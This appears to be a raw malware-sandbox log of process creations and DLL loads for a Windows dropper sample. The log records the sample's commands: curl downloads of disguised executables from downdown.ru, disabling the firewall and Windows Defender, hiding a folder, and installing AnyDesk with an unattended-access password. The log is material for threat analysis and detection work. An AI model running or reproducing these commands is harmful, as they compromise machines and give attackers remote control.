Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Intel\ 131.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1736,i,7992334855485178110,2343866547744839284,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-service
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-control
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: globinputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
